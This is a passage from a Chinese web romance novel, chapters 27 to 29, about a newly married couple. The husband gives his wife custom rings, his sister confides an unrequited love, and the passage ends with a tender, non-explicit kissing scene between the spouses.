她走进,撂下一句“我自己去吹。”就从他身旁拿走吹风机去了洗漱台的镜子前。
等一切就绪,她回到床上,又被坐在一旁的陈羲和拉着坐在了旁边。
他的手拂过林望舒的锁骨带来酥酥麻麻的战栗感,一瞬间身体发麻,就同前面接吻时的反应一样。
正当林望舒以为陈羲和又要开始的时候,他忽而出声。
“这里……怎么红了?”
说的是她的锁骨。
方才洗澡她没注意,只想着赶快洗完出去逃离这个闷热的浴室。就连刚刚吹头发看过这处,她也只是以为是自己洗澡手指蹭过皮肤留下的印记。但是怎么可能到了现在还没有半分消散的趋势反而比刚刚更红了。
那只能是刚刚进门前陈羲和亲.咬的。
林望舒当时脑袋迷糊混沌一片,不知道他到底亲了多久,也没管他是怎么个亲法。但是现在这么想来,除了牙齿的一点磕碰外,还有舔舐。
这里有,那岂不是脖子上……
林望舒赶忙跑向浴室仔细看着脖子上的印记,最后恼怒的开口:“陈羲和!你属狗的吗!”
27. 我想你了
镜前,林望舒小心对着光看自己颈间的痕迹。锁骨那处尤为明显,甚者泛着深红色,从她下巴到脖子其他几处相对好一点,只是有一点点红印。
但林望舒害怕明早起来会更明显,尤其是现在还是夏季,根本不好挡。
陈羲和走过来给她顺毛,拍拍她的背说:“对不起,才亲没几次,掌握不了分寸。”
看到林望舒没再较劲带着她回到床边,他又开口补了一句:“那我明天晚上轻一点亲。”
林望舒脸色缓和,点点头勉强接受了他的道歉,等到自己上床躺下她才渐渐发现什么不对。
谁答应他明天也要亲的啊?不准亲了,以后都不准亲了!
她就是个习惯不满意就当时提出来的性子,想着想着干脆直接对着陈羲和说:“我没有答应你明天也能亲我的事!”
“你今天也没答应…但还是让我亲了,况且……”
林望舒马上凑上前去捂陈羲和的嘴,她感觉这人接下来还会说什么虎狼之词!可惜还是慢了一步。下一秒陈羲和的声音清晰回荡在她耳边:
“我看你也挺享受的,你难道不爽吗?”
啊啊啊啊啊我一定不会再理他了!林望舒暗自发誓!
“闭嘴,睡觉!”
最后夜晚就在林望舒的恼羞成怒中归于平静。
因着“不高兴”,林望舒罕见都没让陈羲和抱,十分克制的离了陈羲和一臂的距离。
黑暗中,陈羲和侧着身看林望舒睡颜。他慢慢靠近将林望舒揽入怀,在林望舒还没动作时,先一步开口:“望舒,你今天好漂亮啊……”
她鲜少穿艳丽夺目的颜色,似乎是为了配她这一身,今天的妆容也很不一样。细眉远黛,黑色眼线衬托下眼尾更加上挑,偏偏她还在左眼下眼睑处点了颗小痣,更加鲜活明艳。
一身修身酒红色长裙,掐腰设计显得她腰肢纤细柔美,偏偏她个子高挑,举手投足间更添几分妩媚。
他想,没人能拒绝这样的林望舒。
林望舒听着陈羲和这么直白的话,好不容易回归平静的心又扑通扑通跳了几下。她没再回话,只是在陈羲和怀抱中找了个舒服的位置回抱他。
*
午休时,林望舒接到了袁女士的电话。
林望舒看着屏幕上的名字,莫名升起点烦躁来。不需要花什么心思都能想到袁成曼打电话的意图。
不久前,林望舒告诉了她结婚的消息的时候,她就能感觉到父母两人,明里暗里对她不满。这种情况,早就在林望舒的预想中了。
林望舒长舒一口气走到外边的露台,接起电话。
她经常习惯性地预设所有事情的后果,只能这样,她才有勇气承担再不好的结果。
还是同以前一样的流程,关心了一下她的生活,然后切入正题说,结婚这么久了应该两家人一起吃个饭,让她一起安排一下。
因着这通电话,林望舒连后面整个午休她都没睡好。
双方家长见面一起吃个饭,很平常的事,但是她就是会莫名担心。她想或许直到现在二十五岁,她还是害怕和他们待在一起,想逃离,想疏远。可是无论如何,她好像都逃不开。
又闭了一会儿眼,还是没有睡意,她干脆发消息给陈羲和。
【刚刚我妈打电话来问问,两家人什么时候吃个饭?】
【叔叔阿姨什么时候有空?我去安排一下时间。】
本以为他现在还在休息,不会回复,就当林望舒放下手机时,屏幕又亮了起来。
【你爸妈什么时候有空?我来安排。】
“我来安排”。
一句再平常不过的话,却让她自己这么安心。
好像再也不用勉强自己和人打交道,考虑哪个餐厅哪种菜时候,什么时候安排最合理了。就好像,从现在起,她不再是一个人了。
林望舒盯着那行字久久没有回复,直到感觉自己的眼角有点湿润,才回过神来,把父母休息时间整理好发给陈羲和。
陈羲和又发了一句:【今天可不可以早点下班?】
就像是突然问起她一样,林望舒感觉有些无厘头,想了想回复。
【可以,是有什么事吗?^^】
对面秒回:
【有】
【我想你了】
怎么这么犯规啊啊啊啊啊……最后林望舒高冷回复了一句“哦!”
【好,我去接你到我公司。】
还若无其事的补了一个:【^^】
总是这么喜欢学我,幼不幼稚!
……
【我到了,慢点下来不要着急。】
看到消息后的林望舒依旧自认为高冷的发了一句【哦。】
但坐在车上看着这条消息的陈羲和却扯了扯嘴角。
怎么还是这么可爱,他都能想到林望舒炸毛的样子了。
林望舒下班逃的很快,虽然公司不怎么抓早退,但是也不能太猖狂了。她还稍微欲盖弥彰的把自己的平常要喝水的水杯放在了桌子上,假装自己只是临时不在。
然后林望舒就拿着工作包非常自然的走出了公司。
就算有人看到也只会以为她是外出工作。
林望舒一直维持着严肃高冷的样子,然后走到陈羲和这里。等到上了车才完全放松下来,不太有形象的靠在座位上,和刚刚的模样判若两人。
陈羲和:?怎么以前没发现她这么会装。
这一次的林望舒只记得如何无人知晓的早退,根本忘记要去陈羲和公司了,等到陈羲和把车停到至臻集团的大门口时,她后知后觉的发现,这次来忘记戴口罩了。
完蛋。
看到林望舒这个表情,陈羲和极度不愿回想的想起了林望舒问他的几个问题……
他不冷不热地开口:“这次没戴口罩,不会再问我什么莫名其妙的问题了吧?”
听起来是疑问,林望舒听起来却有点像警告……
林望舒:“那可不一定。”
然后在陈羲和有些意外的神情中,先往前一步走了进去。
林望舒只是最初有点不习惯罢了,上次没想到其他人能够那么热情了。整的她有点i人熟悉爆发了。
就在走进大门时,前台还是上次的女生,
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她一眼就认出了这是他们的老板娘。
实在是老板娘好看的太突出了。
就连今天这么随意一件职业装都穿出不一样的好看。她头发干练的扎在后面,偏偏挽着个丸子头给这一身的冷漠增添了一点柔和。眉眼是她最突出的一点,眼神温和,上挑的眼尾总是感觉她时时刻刻带着笑意。
看着林望舒走进,她连忙悄摸拍了一张,正在欣赏自己抓拍的老板娘的美照,这才发现原来老板也在后面。
啧啧,老板娘一露面,老板都黯然失色了。
她正要在大群发个消息,旁边的人碰了碰她手肘。
“你别打扰我,我要在大群里发消息!”
“先别发,你看看他们!”
她一抬头,就看到她的老板快步走了上来拉住老板娘的手。
妈呀啊啊啊啊这是什么!来公司撒狗粮吗?还要不要人活了!
她没想到,老板私下谈起恋爱居然是这样的,都不像平时那么“冷”了,好吧也不是冷,看起来是温温和和的,但总觉得有点怵人,用更通俗易懂的话来说就是没有活人感。
就在看着两人发愣的同时,林望舒察觉到视线,回眸看着她们,冲着二人莞尔笑笑。前台的两个女生控住不住自己激动的心,放在下面的手已经紧紧握在了一起。
“我靠刚刚是在对我们笑吗?啊啊啊啊”
“太犯规了!美女姐姐能不能贴贴啊啊啊”
“首先打得过老板再说…”
“那没招了。”
……
林望舒一路顺畅的走到陈羲和办公室,路过总裁办时还十分自然的和大家招手打招呼。陈羲和都怀疑是不是自己哪里刺激到她了。
最后一进门,陈羲和刚想开口,林望舒就一下坐在了沙发上,仿佛一瞬间失去了精力。
陈羲和笑着拿了一件毯子给她披上,问:“刚刚打招呼不还是游刃有余?”
“那是我有礼貌!当然要以最好的状态社交啊,只不过现在累了。”
原本的林望舒想着陈羲和有事要忙,还没下班,就打算在沙发上等他。可是陈羲和进来关上门后还顺便把办公室的玻璃调成磨砂的,然后就坐过来陪她了。
林望舒狐疑的打量陈羲和:“你不是要忙工作吗?”
“是还有点事情,但是你来了就不想做了。”
说话时陈羲和就这样一直看着她,也不管林望舒会给出什么反应,甚至没有反应也没关系,他只是想看着她而已。
但林望舒显然没有理解到他的意思。
她满脑子都是,陈羲和不忙还吧自己接来公司。当着众人的面,这么堂而皇之欲盖弥彰的关上门和窗户,到底想做什么?
林望舒不自觉的后退,有了前车之鉴,她不太相信这种时候的陈羲和。
她伸出手,戳了戳陈羲和的肩膀说:“那你叫我过来还干嘛?”
不见陈羲和回复,又嘀嘀咕咕的说了一句:“害得我担惊受怕地早退。”
陈羲和靠近细细观察林望舒神情,最后在她侧脸落下一吻:“工作的事还好,让你过来是说说我们的事。”
28. 戒指
陈羲和走到办公桌,打开抽屉拿了个方形盒子出来。
林望舒还是在位置上,呆呆看着他的动作。
陈羲和蹲下抬眼看她,把盒子放到她手心,挑眉对林望舒说:“打开看看?”
盒子小小的,深蓝色,最上面有个银质logo。不过这个logo她没见过,想来可能是他公司原创品牌什么之类的,她不能确定东西到底是什么,不过心里隐隐有了个答案,但她还不敢确定。
林望舒托着盒子打开,一对银色戒指赫然归置在内。林望舒坐的这边靠窗,靠近她的窗边百叶扇还是开着,傍晚泛着的晚霞透过玻璃窗照进来,恰好映照在这对戒指上,给冷色调的外表赋予了一层暖色。
林望舒目不转睛地看着戒指,而陈羲和在看她。
在他眼里,一点点稀碎的橙色晚霞洒到了林望舒眼里,琥珀色的瞳在暖光下更好看了,像小孩子喜欢的玻璃糖纸,剔透玲珑。
“喜欢吗?”
陈羲和接过林望舒手中的戒指盒,牵着她的左手,拿出属于她的那一个,给她戴上。
“结婚领证都太仓促了,很多东西都没准备好,很对不起你。戒指是找独立设计师定制的,时间有点久了,今天才制作好,迫不及待想带你来看看……”
“喜欢,我很喜欢。”
不只是戒指。
林望舒弯腰去抱陈羲和,趴在他肩头说:“不用对不起,是我提的太突然了。我们顺其自然就好,我很谢谢你。”
谢谢你出现在我的世界。
陈羲和回抱住林望舒。他心想,总是在谢谢我,但我又何尝不谢谢你的出现呢。
这是林望舒清醒状态下第一次这么主动拥抱自己,是不是意味着她也在慢慢接受自己了?
“好了,我去处理一下工作你就待在这儿玩一会儿,想喝点什么吗?”
语气好像哄小孩子哦。
不过林望舒现在很开心没再和他掰扯这个事情,想了想回道:“嗯…抹茶星冰乐!”
“好。”
又过了一晌,陈羲和在书桌看文件,林望舒则到处走走停停看东看西,不时点的冷饮也送来了。
夏日她就最馋这一口了!冰冰凉凉的很舒服。
林望舒喜滋滋的坐在沙发上,时不时翘翘腿动动。
陈羲和的视线总被他吸引……她怎么这么容易就能被满足啊,真可爱,像一只餍足的小松鼠。
感觉自己实在是没办法专心工作了,陈羲和干脆放弃,直接下班和林望舒回家了。
他们牵着手走出办公室。林望舒一边牵着陈羲和,一手拿着抹茶星冰乐,放低存在感,想尽量不打扰到大家走出去的。
但陈羲和办公室实在是太显眼了,很难让人忽略。
奇怪的是,她发现怎么现在大家都有饮料了,也是星巴克,明明来的时候并没有的。
所以……他是因为要给大家买饮料,顺便问了问她想喝什么吗?
忽而林望舒有点不高兴了。这情绪来的莫名,在她还没有彻底捕捉到那具体是什么的时候,又戛然而止。
她听到他们齐声说。“谢谢老板娘的下午茶!”
林望舒懵了懵抬头看陈羲和,对方云淡风轻的好像也在状况外,如果忽略掉他上扬的嘴角的话。
显然是陈羲和借着她的名义给大家送的下午茶,并且对他们现在的反应很受用。
她怀疑陈羲和就只是想听到那声“”老板娘”。
行吧,勉强配合他一下。
林望舒自己都没觉察到刚刚那微弱的、没由头的情绪,早已烟消云散。她在大家一声一声的老板娘中含笑点点头,拉着陈羲和走掉了。
这次不像上次的落荒而逃了,好像更从容自得了些。
汽车飞驰,平稳行驶在路上。晚霞变成更深色的红,他们在前面走着,太阳在后面追着。
林望舒看了看陈羲和握紧方向盘的手,骨节分明,视线不自觉就被那上面的戒指吸引。
他戴着真好看。
她又伸手看了看自己的。
一种很平常但又难得的幸福感油然而生。
*
回到家里,陈言臻罕见的待在院子里陪乖点玩。
她坐在外面的藤椅上,一边长发挽在耳后。看起来是在温柔笑着陪乖点玩飞盘,但仔细看来,她眼神却不聚焦,不知道在想什么……
林望舒感觉,她这个样子有点惆怅,好像有心事。
“我去看看臻臻。”林望舒松开陈羲和的手,对他说。
陈羲和看着陈言臻微不可察地叹了口气,点点头说:“好。陪陪她吧。”
林望舒走到外面院子去,视线中一直都是陈言臻笑意浅浅的模样。
“臻臻!”
林望舒走出去和陈言臻坐在一起,手亲昵的挽着她的。
“今天这么早就回来呀?我哥呢?”陈言臻像是才回过神,愣了一瞬,又在看到林望舒挽着她手臂的指尖时,回道,“诶?你这个戒指……真好看啊!啧啧,没想到我哥还这么浪漫呢,这钻真好看。”
林望舒笑笑,“嗯嗯!今天才拿到。”
“真好啊!”
她说的这句,明明是一种祝福的感叹,林望舒却觉得这里面夹杂着一些说不出的落寞来。
“臻臻,你为什么不开心?”
为什么不开心?她好像也不知道。
明明觉得自己早就放下了,但为什么那么突如其来地见到他,还是想要逃离。明明只是匆匆一面,但一切画面都在脑海中倒放,挥之不去。明明可以更坦然……
好不容易花几年时间建立起的防线,崩溃一溃却只需要一秒。
每个人都会有秘密,而且陈言臻的这个秘密,似乎裹挟她很久了。
“可以告诉我吗?”
说出来会不会就能好受一点?陈言臻不知道答案,但此时此刻她想去试一试。不被秘密裹挟的办法就是,不让它成为秘密。
“望舒,你觉得喜欢上一个根本就没有可能的人,该怎么办呢?”
林望舒自觉不能确切给出她什么答案,她之前来说,没有过喜欢的人,很难做到真正的感同身受。
但她设想了一下,如果只是她单方面喜欢上了陈羲和,而他并不喜欢自己……
如果是这样,那我该怎么办呢?
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>后知后觉地她好像能懂陈言臻的感受了。
这是一种无法言说的心酸,不能奢求会有好的结果,但又耿耿于怀无法释然,最后的结果,应该只能不断苛责自己,陷入无边的感情囚笼。
“你们是分开了吗?”
不知道戳到哪个点了,陈言臻苦笑一声:“没有,我们没在一起过。他不喜欢我,还拒绝我了。”
然后是一阵沉默,就当林望舒以为她不会再说下去时,陈言臻又叹了口气,娓娓道来:
“几年前,我去他公司实习过,但他对我很严肃,一点好脸色都不给我,还总是凶我。再到后来,我去跟他告白,他很严肃的拒绝我了。他说我太小了,分不清什么是男女之间的喜欢……可我自己能不知道我自己的心吗?”
“但我当时还是没放弃……我想向他证明我的‘喜欢’。直到后来我看到他身边有一个很漂亮很成熟的女生,他们都说他们两人很般配,原本我不这么认为,可是我后来觉得我错了,他们才是有话题的人,他们才是真正的同类……”
“我觉得,自己的喜欢很打扰他,很不理智。我的喜欢也很可笑。向一个不喜欢自己的人来证明自己的心意,本就是一种困扰。原来我已经做错了这么多了。”
“再到后来,我听说他们家想让他联姻……我觉得自己不能再这样自甘堕落了,我讨厌这个有他存在的一切地方,于是后来我出国了……如果我不喜欢他就好了,是不是就不会这么难过了?”
竟然是这样……
林望舒没再说什么,她抱住陈言臻轻拍他的背。
乖点也早察觉到陈言臻的心不在焉,热热闹闹的黏着她让她陪自己玩。这时看着他们两个人抱在一起,自己也跑过来趴在她们腿上,脑袋还在陈言臻那边蹭蹭。
良久,林望舒才开口:“没关系的臻臻,那肯定是他没眼光了,你这样好!”
“嗯嗯,对!就是他太没眼光了!”
……
不知道是不是因为晚上听了陈言臻的事情,林望舒也变得有点惆怅。
她洗漱完坐在床上,开始胡思乱想。
如果袁女士没有和孟姨认识,如果当初他们中任意一方拒绝了那场相亲,如果那晚在医院没有遇到陈羲和……那她和陈羲和是不是会永远错过,是不是以后他还会和另一个人结婚。
这莫名来的占有欲作祟,让她很难受。
患得患失,飘忽不定。
“在想什么?”
原来陈羲和已经洗完澡出来了,怎么一点声响都没感觉到也,不知道看了她多久。
“没什么。”
林望舒还是没打算说。
他们这段婚姻和其他正常情侣恋爱到结婚的节奏很不一样。他们需要两个人慢慢磨合,虽然直到现在他们相处的蛮和谐的。
不过在林望舒看来,至少她觉得现在的自己不能表现出那样的患得患失,她不习惯在任何一段关系中处于劣势,这会给她带来茫茫无措,让她始终没有安全感。
见她不愿说,陈羲和也没有再问。
他换了个他想说的话题。
“林望舒,你觉不觉得我们晚上差点意思?”
29. 吻我
林望舒经过陈悦满嘴跑火车的嘴的洗涤后,脑海中浮现出部分少儿不宜的画面。
他是不是那个意思?
但一个正常男性大晚上不睡觉跟你说这个,能有多单纯,总不可能是想跟你盖着被子纯聊天吧?
等等,这会不会太快了点啊。
完了,我今晚上洗澡没用磨砂膏,我还没涂身体乳!怎么这么突然……
陈羲和看着眼前跪坐在床上的女人,一瞬间红温,变成一只熟透的虾,笑笑逗她:“所以……你的答案呢?”
林望舒低着头用下垂的发挡住一点视线,然后仔细想了想,仿佛下定决心般,抬头对上了陈羲和的眼,说道:“我准备好了。”
颇有番视死如归的感觉。
陈羲和:“……”哑口无言。
陈羲和坐到床边,拉着林望舒的手让她靠近。联想到她羞得通红的表情和她这番话,陈羲和也猜到林望舒是想歪了,也不知道冒出了哪些画面,就这么快想到这上面来了。
他忍着笑道:“这事该顺其自然的,怎么这么可爱直接说准备好了?”
……原来不是这个意思吗?林望舒简直要被自己蠢笑了!怎么这么丢人啊,完全想到那上面去了。
她更不敢看陈羲和了,反客为主道:“那你大晚上说些模棱两可的话!你到底什么意思嘛?”
“本来是想邀请你看电影的,但……没想到你这么热情?”
林望舒简直想堵住他的嘴,他怎么总是一张嘴乱说话啊!烦死了!
她想甩开陈羲和的手,躲到被子里去。刚一动作却被他用力一扯,就着这个力道,撞进他怀里。
林望舒的鼻尖在惯性下向前蹭上了陈羲和脸颊,轻轻的,痒痒的。两人靠的极近,呼吸可闻。
薄薄的一层吊带睡裙贴着陈羲和的睡衣,热气止不住地顺着缝隙涌了上来,布料之下的皮肤感受明显。
浴室的门被打开,洗澡粘稠的空气氤氲开来,四处漫步。
陈羲和一手掌住林望舒的腰,一手抄起她的腿,带着她往自己身上靠。就这么被动的,林望舒跨坐在了陈羲和腿上。
她今天穿的本来睡裙就不算很长,只在她膝盖上方一点,这么个跨坐的姿势,使得布料更加上移了,白皙的部分露出的更多,剩下的长度堪堪盖住她的腿根。林望舒脸更红了。
有了上次,林望舒洗完澡就没穿内衣了。可是现在她发现自己胸前那处就贴在陈羲和身上。这个姿势还这样的近……
细若蚊声,林望舒问:“你干嘛啊,不是说看电影吗?”
“电影哪有你好看啊。”陈羲和含笑看她,回道。
陈羲和一只手顺着她的大腿后侧上移,路过裙摆下侧但没有没入,而是隔着布料抚上了她后腰,揉了揉。这番刺激使得林望舒的腰更软了,整个上半身都靠在了他身上。
“林望舒”
听到自己的名字,林望舒下意识回应,但她身体软的不行,没什么力气的对陈羲和耳语,声音绵绵的:“嗯?”
陈羲和掌着她后颈,与她退开点距离,声音低压带着点诱哄意味:“吻我……”
林望舒脑子被这两个字打的晕晕乎乎。
“但……我不会啊”
“我教你。”陈羲和回应道,眼睛紧盯着林望舒,“先挽着我脖子。”
林望舒照做。
“然后坐直身,凑上来。”
明明就两句话的动作,但林望舒还是不得要领,十几秒就能完成的步骤,她硬是磨蹭了几分钟。
“不是说准备好了?接个吻都不敢了?”
林望舒颤着身子靠近,挽住陈羲和的手慢慢向下用劲,他也配合着她低下了头。
她的吻将落不落,呼吸缠绕很诱人。
卧室的灯大开,洒在两个相贴的人身上。林望舒觉得自己快要受不住这种距离了。灯光铺洒下来,一切动作分外明显,宣告着她接下来的行为,让她更加不好意思。
“能不能关灯啊……”她小声低喃。
“不可以。”
他就是要在这样清晰明了的情况下,把她所有神情记住,一点点看着她吻向自己。
陈羲和的手在她后背轻拍了拍,像是一种无声的鼓励。
最后一个要求被拒绝了,林望舒乎眨乎眨眼睛,干脆屏了屏呼吸,抬了抬下巴向前凑去。
碰上他的唇,柔软的粘稠的,她快要呼吸不过来了,下意识想后退,却被人提前发觉,握住了她后颈。
唇刚贴上去,林望舒良久没有再动作。
她回想前几次为数不多的接吻,学着陈羲和的动作,从他唇角开始一点点细密的吻过去。小口小口的啄,生涩毫无章法。
偏偏是她这个样子,最吸引人,陈羲和几乎要受不住,她主动一个的吻把他吊的不上不下,但他还是忍住没再动作,等待着林望舒接下来的步骤。
他放松身体,手也只是轻轻搭在她身上一副任人采撷的模样。
林望舒反复亲了几次,她不知道自己做得对不对但她感觉到陈羲和的放松。
应该是一种不错的回馈吧,她想。
至于其他什么接吻技巧,她根本想不起来,更不可能会了。
时间一分一秒流逝,林望舒觉得自己亲的差不多了,偏过头移开唇,直起身准备越过陈羲和偷偷回味一下自己主动的这个吻。
但显然陈羲和还没打算放过她。
他揽住林望舒腰
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身,一拽,继续让她坐在自己怀里。被吊的呼吸不稳,陈羲和不满的开口:“这哪是接吻啊?”
他双手捧住林望舒的脸,一字一句的说:“你这,是亲,不是吻。”
“可我说了我不会啊…”
“那我再教你最后一次。”说这话时他的手还是没变,依旧捧着林望舒的脸。
林望舒等着陈羲和的话,神情专注打算认真听听学习,但下一秒陈羲和突然吻了上来。
原来这次的教学不是理论课,是实践课。
突如其来的吻让林望舒脑袋发懵。
不同于之前的吻,陈羲和今天呼吸沉重,他咬着林望舒的唇,轻轻的抿,伸出舌尖舔了舔林望舒都唇瓣。
潮湿黏腻。
林望舒只感觉脑袋里有有如烟花炸裂那般,一瞬间酥麻泛上脖颈再直入大脑,晕晕乎乎的。
她想怎么接吻还能这样,比起陈羲和,她学到的只有冰山一角。又感叹这其中门道这么多,今晚课程信息量也太大了吧,要多久才能学会啊……
察觉到林望舒的走神,陈羲和咬了咬她的唇瓣。因为吻的深入,嘴里还含糊不清:“认真点儿啊你。”
林望舒抬手挽着陈羲和,学着一点点回应。
但没想到这个动作怎么就取悦到了眼前的人。
他轻笑一声又重重回吻过去。
林望舒控制不住自己的身体,渐渐软去,只能攀附着陈羲和。
他吻的很认真,就连这点细微的动作也没放过。
陈羲和的手再次掌住林望舒的腰,托着她坐直,接吻。但他显然不满足这样浅显的贴蹭舔咬了。
抚住林望舒腰的那只手,在她腰窝处揉了揉。
陈羲和的唇瓣暂时离开她的,哑着声说:“宝宝,张嘴。”
她迷迷糊糊的只听到要她张嘴,下意识打开,但下一秒本就不平的呼吸又被人掠走。
顺着她微开的唇瓣,陈羲和吻了过去,舌头顺势探入,舌尖相碰的瞬间,两人皆是一震。陈羲和舌碰着林望舒的,一起勾绕缱绻,与之共舞。
林望舒的舌头被吮的发麻,嘴唇一张一合的去回吻。她眼角湿润,控制不住的流泪,仿佛泪腺失控,只想流泪,她自己都不知道这是为什么。
吻了不知道有多久,她脸颊发烫,身体也发热,呼吸快要跟不上来了。
林望舒捶捶陈羲和前胸。
陈羲和最后克制的咬了咬她的唇,退了回来。不过手还是缓慢磨蹭地揉着林望舒的后腰,两人的呼吸都很乱。
陈羲和就这么看着她意乱情迷的模样,手指碰碰她眼角湿润都地方,替她擦掉泪渍,然后靠近在她耳边轻喘着说:“宝宝,怎么还是不会换气啊?”